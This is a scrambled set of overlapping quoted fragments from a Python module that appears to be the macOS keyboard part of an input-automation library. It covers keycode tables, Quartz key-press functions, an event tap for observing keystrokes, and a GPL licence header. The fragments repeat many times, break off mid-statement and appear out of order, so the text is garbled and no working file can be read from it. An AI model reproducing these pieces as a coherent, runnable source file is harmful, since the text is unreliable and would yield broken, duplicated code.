"False) def handler(self, proxy, type, event, refcon): key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type",
"kCGEventFlagMaskControl | kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr = '' for mkey",
"while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def handler(self, proxy, type, event, refcon): key =",
"0x11, '1': 0x12, '2': 0x13, '3': 0x14, '4': 0x15, '6': 0x16, '5': 0x17,",
"0x3D, 'rightcontrol' : 0x3E, 'function' : 0x3F, } # Taken from ev_keymap.h #",
"without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.",
"special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY'",
"16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22,",
"def __init__(self): self.shift_key = 'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key): if key.title()",
"not implemented.\".format(key)) def _press_special_key(self, key, down): \"\"\" Helper method for special keys. Source:",
"self.modifier_table: self.modifier_table.update({key.title():False}) if key in special_key_translate_table: self._press_special_key(key, False) else: self._press_normal_key(key, False) def special_key_assignment(self):",
"Software Foundation, either version 3 of the License, or #(at your option) any",
"#You should have received a copy of the GNU General Public License #along",
"Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def handler(self, proxy, type, event, refcon): key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode)",
"5, 'POWER_KEY': 6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11,",
"special_key_translate_table: self._press_special_key(key, False) else: self._press_normal_key(key, False) def special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key =",
"for special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code = special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined,",
"self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def handler(self, proxy, type, event, refcon): key = Quartz.CGEventGetIntegerValueField(event,",
"WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR",
"redistribute it and/or modify #it under the terms of the GNU General Public",
"of the License, or #(at your option) any later version. # #This program",
"any later version. # #This program is distributed in the hope that it",
"even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See",
"subtype (key_code << 16) | ((0xa if down else 0xb) << 8), #",
"#This program is free software: you can redistribute it and/or modify #it under",
"'m': 0x2e, '.': 0x2f, '`': 0x32, ' ': 0x31, '\\r': 0x24, '\\t': 0x30,",
"= mkeyStr+' ^ ' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event)",
"or #(at your option) any later version. # #This program is distributed in",
"Quartz.CGEventTapEnable(tap, True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def handler(self, proxy, type, event, refcon):",
"0x38, 'capslock' : 0x39, 'option' : 0x3A, 'alternate' : 0x3A, 'control' : 0x3B,",
"2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5, 'POWER_KEY': 6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8,",
"' ': 0x31, '\\r': 0x24, '\\t': 0x30, '\\n': 0x24, 'return' : 0x24, 'tab'",
"'1': 0x12, '2': 0x13, '3': 0x14, '4': 0x15, '6': 0x16, '5': 0x17, '=':",
"0x3A, 'control' : 0x3B, 'rightshift' : 0x3C, 'rightoption' : 0x3D, 'rightcontrol' : 0x3E,",
"# location 0xa00 if down else 0xb00, # flags 0, # timestamp 0,",
"18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class",
"will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of",
"can redistribute it and/or modify #it under the terms of the GNU General",
"of the GNU General Public License as published by #the Free Software Foundation,",
"details. # #You should have received a copy of the GNU General Public",
"': 0x31, '\\r': 0x24, '\\t': 0x30, '\\n': 0x24, 'return' : 0x24, 'tab' :",
"'escape' : 0x35, 'command' : 0x37, 'shift' : 0x38, 'capslock' : 0x39, 'option'",
"'KEYTYPE_HELP': 5, 'POWER_KEY': 6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP':",
"#GNU General Public License for more details. # #You should have received a",
"#Copyright 2013 <NAME> # #This program is free software: you can redistribute it",
"the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the",
"if key.title() in self.modifier_table: self.modifier_table.update({key.title():True}) if key in special_key_translate_table: self._press_special_key(key, True) else: self._press_normal_key(key,",
"import time import Quartz from AppKit import NSEvent from .base import PyKeyboardMeta, PyKeyboardEventMeta",
": 0x37, 'shift' : 0x38, 'capslock' : 0x39, 'option' : 0x3A, 'alternate' :",
"0x1b, '8': 0x1c, '0': 0x1d, ']': 0x1e, 'o': 0x1f, 'u': 0x20, '[': 0x21,",
"of the GNU General Public License #along with this program. If not, see",
"data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap,",
"If not, see <http://www.gnu.org/licenses/>. import time import Quartz from AppKit import NSEvent from",
"Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def handler(self, proxy, type, event,",
"later version. # #This program is distributed in the hope that it will",
"11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17,",
"'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class PyKeyboard(PyKeyboardMeta):",
"PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key = 'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key): if",
"8), # data1 -1 # data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def run(self):",
"PURPOSE. See the #GNU General Public License for more details. # #You should",
"copy of the GNU General Public License #along with this program. If not,",
"<< 8), # data1 -1 # data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def",
"_press_normal_key(self, key, down): try: key_code = character_translate_table[key.lower()] # kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl",
"'2': 0x13, '3': 0x14, '4': 0x15, '6': 0x16, '5': 0x17, '=': 0x18, '9':",
"time import Quartz from AppKit import NSEvent from .base import PyKeyboardMeta, PyKeyboardEventMeta #",
"program. If not, see <http://www.gnu.org/licenses/>. import time import Quartz from AppKit import NSEvent",
"loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True)",
"'d': 0x02, 'f': 0x03, 'h': 0x04, 'g': 0x05, 'z': 0x06, 'x': 0x07, 'c':",
"PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler,",
"in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without",
"'capslock' : 0x39, 'option' : 0x3A, 'alternate' : 0x3A, 'control' : 0x3B, 'rightshift'",
"Quartz from AppKit import NSEvent from .base import PyKeyboardMeta, PyKeyboardEventMeta # Taken from",
"Quartz.kCGEventKeyDown: self.key_press(key) elif type == Quartz.kCGEventKeyUp: self.key_release(key) if self.capture: Quartz.CGEventSetType(event, Quartz.kCGEventNull) return event",
"mkey in self.modifier_table: if self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr = mkeyStr+' ^ ' mkeyStr",
"Public License as published by #the Free Software Foundation, either version 3 of",
": 0x39, 'option' : 0x3A, 'alternate' : 0x3A, 'control' : 0x3B, 'rightshift' :",
"NSSystemDefined, # type (0,0), # location 0xa00 if down else 0xb00, # flags",
"# ctx 8, # subtype (key_code << 16) | ((0xa if down else",
"is free software: you can redistribute it and/or modify #it under the terms",
"self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY' # Doesn't work :( # self.media_next_track_key =",
"0x1f, 'u': 0x20, '[': 0x21, 'i': 0x22, 'p': 0x23, 'l': 0x25, 'j': 0x26,",
"be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY",
"kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr = '' for mkey in self.modifier_table:",
"AppKit import NSEvent from .base import PyKeyboardMeta, PyKeyboardEventMeta # Taken from events.h #",
"in self.modifier_table: self.modifier_table.update({key.title():True}) if key in special_key_translate_table: self._press_special_key(key, True) else: self._press_normal_key(key, True) def",
"False) else: self._press_normal_key(key, False) def special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key",
"0x14, '4': 0x15, '6': 0x16, '5': 0x17, '=': 0x18, '9': 0x19, '7': 0x1a,",
"'\\\\': 0x2a, ',': 0x2b, '/': 0x2c, 'n': 0x2d, 'm': 0x2e, '.': 0x2f, '`':",
"'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5, 'POWER_KEY': 6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK':",
"# /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = { 'a': 0x00, 's': 0x01, 'd': 0x02, 'f': 0x03,",
"loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def handler(self, proxy, type,",
"0x03, 'h': 0x04, 'g': 0x05, 'z': 0x06, 'x': 0x07, 'c': 0x08, 'v': 0x09,",
"0x0c, 'w': 0x0d, 'e': 0x0e, 'r': 0x0f, 'y': 0x10, 't': 0x11, '1': 0x12,",
"'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key = 'shift' self.modifier_table",
"0x17, '=': 0x18, '9': 0x19, '7': 0x1a, '-': 0x1b, '8': 0x1c, '0': 0x1d,",
"kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr",
"'o': 0x1f, 'u': 0x20, '[': 0x21, 'i': 0x22, 'p': 0x23, 'l': 0x25, 'j':",
"0x1c, '0': 0x1d, ']': 0x1e, 'o': 0x1f, 'u': 0x20, '[': 0x21, 'i': 0x22,",
"the key if key.title() in self.modifier_table: self.modifier_table.update({key.title():False}) if key in special_key_translate_table: self._press_special_key(key, False)",
"mkeyStr+' ^ ' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if",
"0x16, '5': 0x17, '=': 0x18, '9': 0x19, '7': 0x1a, '-': 0x1b, '8': 0x1c,",
"FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more",
"self._press_special_key(key, True) else: self._press_normal_key(key, True) def release_key(self, key): # remove the key if",
"# #This program is free software: you can redistribute it and/or modify #it",
"with this program. If not, see <http://www.gnu.org/licenses/>. import time import Quartz from AppKit",
"'8': 0x1c, '0': 0x1d, ']': 0x1e, 'o': 0x1f, 'u': 0x20, '[': 0x21, 'i':",
"'x': 0x07, 'c': 0x08, 'v': 0x09, 'b': 0x0b, 'q': 0x0c, 'w': 0x0d, 'e':",
"0x12, '2': 0x13, '3': 0x14, '4': 0x15, '6': 0x16, '5': 0x17, '=': 0x18,",
"version. # #This program is distributed in the hope that it will be",
"19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class PyKeyboard(PyKeyboardMeta): def",
"RuntimeError(\"Key {} not implemented.\".format(key)) def _press_special_key(self, key, down): \"\"\" Helper method for special",
"= {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key): if key.title() in self.modifier_table: self.modifier_table.update({key.title():True}) if key in",
"General Public License for more details. # #You should have received a copy",
"See the #GNU General Public License for more details. # #You should have",
"0x07, 'c': 0x08, 'v': 0x09, 'b': 0x0b, 'q': 0x0c, 'w': 0x0d, 'e': 0x0e,",
"# remove the key if key.title() in self.modifier_table: self.modifier_table.update({key.title():False}) if key in special_key_translate_table:",
"ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A",
"'-': 0x1b, '8': 0x1c, '0': 0x1d, ']': 0x1e, 'o': 0x1f, 'u': 0x20, '[':",
"PyKeyboardEventMeta # Taken from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = { 'a': 0x00, 's':",
"hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the",
"a copy of the GNU General Public License #along with this program. If",
"| Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop,",
"have received a copy of the GNU General Public License #along with this",
"PyKeyboardMeta, PyKeyboardEventMeta # Taken from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = { 'a': 0x00,",
"def handler(self, proxy, type, event, refcon): key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type ==",
"0x37, 'shift' : 0x38, 'capslock' : 0x39, 'option' : 0x3A, 'alternate' : 0x3A,",
"if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower() == \"shift\": time.sleep(.1) except KeyError:",
"if type == Quartz.kCGEventKeyDown: self.key_press(key) elif type == Quartz.kCGEventKeyUp: self.key_release(key) if self.capture: Quartz.CGEventSetType(event,",
"program is free software: you can redistribute it and/or modify #it under the",
"'7': 0x1a, '-': 0x1b, '8': 0x1c, '0': 0x1d, ']': 0x1e, 'o': 0x1f, 'u':",
"type == Quartz.kCGEventKeyDown: self.key_press(key) elif type == Quartz.kCGEventKeyUp: self.key_release(key) if self.capture: Quartz.CGEventSetType(event, Quartz.kCGEventNull)",
"should have received a copy of the GNU General Public License #along with",
"'e': 0x0e, 'r': 0x0f, 'y': 0x10, 't': 0x11, '1': 0x12, '2': 0x13, '3':",
"your option) any later version. # #This program is distributed in the hope",
"proxy, type, event, refcon): key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type == Quartz.kCGEventKeyDown: self.key_press(key)",
"remove the key if key.title() in self.modifier_table: self.modifier_table.update({key.title():False}) if key in special_key_translate_table: self._press_special_key(key,",
"= 'KEYTYPE_PLAY' # Doesn't work :( # self.media_next_track_key = 'KEYTYPE_NEXT' # self.media_prev_track_key =",
"except KeyError: raise RuntimeError(\"Key {} not implemented.\".format(key)) def _press_special_key(self, key, down): \"\"\" Helper",
"13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19,",
"10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16,",
"';': 0x29, '\\\\': 0x2a, ',': 0x2b, '/': 0x2c, 'n': 0x2d, 'm': 0x2e, '.':",
"key.lower() == \"shift\": time.sleep(.1) except KeyError: raise RuntimeError(\"Key {} not implemented.\".format(key)) def _press_special_key(self,",
"Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop =",
"else: self._press_normal_key(key, False) def special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key =",
"event, refcon): key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type == Quartz.kCGEventKeyDown: self.key_press(key) elif type",
"key if key.title() in self.modifier_table: self.modifier_table.update({key.title():False}) if key in special_key_translate_table: self._press_special_key(key, False) else:",
"from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = { 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2,",
"9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15,",
"Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False) def handler(self,",
"else 0xb) << 8), # data1 -1 # data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class",
"tap, 0) loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode,",
"WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR",
"22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key = 'shift' self.modifier_table =",
"key_code = character_translate_table[key.lower()] # kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift event =",
"| kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr = '' for mkey in",
"17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23",
"0x19, '7': 0x1a, '-': 0x1b, '8': 0x1c, '0': 0x1d, ']': 0x1e, 'o': 0x1f,",
"0x3A, 'alternate' : 0x3A, 'control' : 0x3B, 'rightshift' : 0x3C, 'rightoption' : 0x3D,",
"down): try: key_code = character_translate_table[key.lower()] # kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift",
"this program. If not, see <http://www.gnu.org/licenses/>. import time import Quartz from AppKit import",
"self.media_play_pause_key = 'KEYTYPE_PLAY' # Doesn't work :( # self.media_next_track_key = 'KEYTYPE_NEXT' # self.media_prev_track_key",
"'q': 0x0c, 'w': 0x0d, 'e': 0x0e, 'r': 0x0f, 'y': 0x10, 't': 0x11, '1':",
"'command' : 0x37, 'shift' : 0x38, 'capslock' : 0x39, 'option' : 0x3A, 'alternate'",
"= 'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY' # Doesn't",
"flags 0, # timestamp 0, # window 0, # ctx 8, # subtype",
"Taken from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = { 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP':",
"'delete' : 0x33, 'escape' : 0x35, 'command' : 0x37, 'shift' : 0x38, 'capslock'",
": 0x3F, } # Taken from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = { 'KEYTYPE_SOUND_UP':",
"Helper method for special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code = special_key_translate_table[key] ev =",
"0) loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while self.state: Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5,",
"A PARTICULAR PURPOSE. See the #GNU General Public License for more details. #",
"'v': 0x09, 'b': 0x0b, 'q': 0x0c, 'w': 0x0d, 'e': 0x0e, 'r': 0x0f, 'y':",
"20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN': 22, 'KEYTYPE_ILLUMINATION_TOGGLE': 23 } class PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key",
"0x31, '\\r': 0x24, '\\t': 0x30, '\\n': 0x24, 'return' : 0x24, 'tab' : 0x30,",
"False) def special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key",
"| ((0xa if down else 0xb) << 8), # data1 -1 # data2",
"0, # timestamp 0, # window 0, # ctx 8, # subtype (key_code",
"'b': 0x0b, 'q': 0x0c, 'w': 0x0d, 'e': 0x0e, 'r': 0x0f, 'y': 0x10, 't':",
"'space' : 0x31, 'delete' : 0x33, 'escape' : 0x35, 'command' : 0x37, 'shift'",
"0, # ctx 8, # subtype (key_code << 16) | ((0xa if down",
"GNU General Public License #along with this program. If not, see <http://www.gnu.org/licenses/>. import",
"'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5, 'POWER_KEY':",
"window 0, # ctx 8, # subtype (key_code << 16) | ((0xa if",
"0x04, 'g': 0x05, 'z': 0x06, 'x': 0x07, 'c': 0x08, 'v': 0x09, 'b': 0x0b,",
"2013 <NAME> # #This program is free software: you can redistribute it and/or",
"mkeyStr = mkeyStr+' ^ ' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap,",
"8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14,",
"is distributed in the hope that it will be useful, #but WITHOUT ANY",
"0, # window 0, # ctx 8, # subtype (key_code << 16) |",
"'`': 0x32, ' ': 0x31, '\\r': 0x24, '\\t': 0x30, '\\n': 0x24, 'return' :",
") Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault,",
"of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public",
"14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20,",
"Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop = Quartz.CFRunLoopGetCurrent()",
"| kCGEventFlagMaskControl | kCGEventFlagMaskShift event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down) mkeyStr = '' for",
"0x18, '9': 0x19, '7': 0x1a, '-': 0x1b, '8': 0x1c, '0': 0x1d, ']': 0x1e,",
"self._press_normal_key(key, False) def special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP'",
"'return' : 0x24, 'tab' : 0x30, 'space' : 0x31, 'delete' : 0x33, 'escape'",
"'s': 0x01, 'd': 0x02, 'f': 0x03, 'h': 0x04, 'g': 0x05, 'z': 0x06, 'x':",
"tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource =",
"self.handler, None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode)",
"key in special_key_translate_table: self._press_special_key(key, False) else: self._press_normal_key(key, False) def special_key_assignment(self): self.volume_mute_key = 'KEYTYPE_MUTE'",
"'KEYTYPE_CONTRAST_DOWN': 12, 'KEYTYPE_LAUNCH_PANEL': 13, 'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS':",
"Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while self.state:",
"character_translate_table = { 'a': 0x00, 's': 0x01, 'd': 0x02, 'f': 0x03, 'h': 0x04,",
"'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND': 20, 'KEYTYPE_ILLUMINATION_UP': 21, 'KEYTYPE_ILLUMINATION_DOWN':",
"'function' : 0x3F, } # Taken from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = {",
"key_code, down) mkeyStr = '' for mkey in self.modifier_table: if self.modifier_table[mkey]: if len(mkeyStr)>1:",
"# subtype (key_code << 16) | ((0xa if down else 0xb) << 8),",
"ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = { 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN':",
"#the Free Software Foundation, either version 3 of the License, or #(at your",
